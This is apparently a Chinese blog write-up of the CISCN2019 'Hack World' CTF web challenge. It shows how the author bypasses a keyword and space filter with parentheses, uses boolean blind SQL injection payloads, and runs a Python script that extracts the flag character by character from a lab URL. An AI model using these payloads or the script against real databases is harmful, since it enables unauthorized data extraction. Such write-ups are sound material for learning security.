[CISCN2019 华北赛区 Day2 Web1]Hack World

1.黑名单

进入查看有提示说flag在flag表的flag列,应该是个sql注入题,不出意外的话应该扳掉了常规注入的一些字符。
经过尝试发现,空格,union,and,or等字符被扳了。经过尝试,发现可以使用(),绕过空格限制。

2.盲注

这里只有Hello, glzjin wants a girlfriend.,Error Occured When Fetch Result.,bool(false)三种回显,如果没有输入黑名单字符的话。那么这里我们只能尝试使用盲注了,这里有error错误提示所以我们可以使用bool盲注。而且这里提示了flag的位置所以我们构建payload:

id=if(length((select(flag)from(flag)))=$len,1,0)

来猜测flag的长度
经过我的手工。。。。。发现长度为42。由于这里是数字所以没写脚本跑,懒。。。。。
在这里插入图片描述
接下来就是一个个字母的爆了,通过ascii()来猜测。payload:

id=if((ascii(substr((select(flag)from(flag)),$1$,1)))=$ace,1,0)

脚本

import time
import requests

url='http://b5848d32-1648-48ac-a5b6-a45d4cb29081.node4.buuoj.cn:81//index.php'
acc=['-','{','}']
for i in range(10):acc.append(str(i))
for i in range(65,123):acc.append(chr(i))
#print(acc)
flag=''
for i in range(1,43):
    for j in range(len(acc)):
        payload = 'if((ascii(substr((select(flag)from(flag)),'+str(i)+',1)))=ascii(\''+acc[j]+'\'),1,0)'
        time.sleep(0.05)
        res=requests.post(url=url,data={'id':payload})
        if 'Hello, glzjin wants a girlfriend.' in res.text:
            print(i)
            flag+=acc[j]
            print(flag)
            break
    else:
        print(i)
        flag+='-'
        print(flag)

这里不知道为什么跑ascii码匹配不到’-‘字符。。。。。。还好pythonfor也可以else,没有break就说明这个字符是’-‘之间加上就好。
在这里插入图片描述
成功得到flag。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值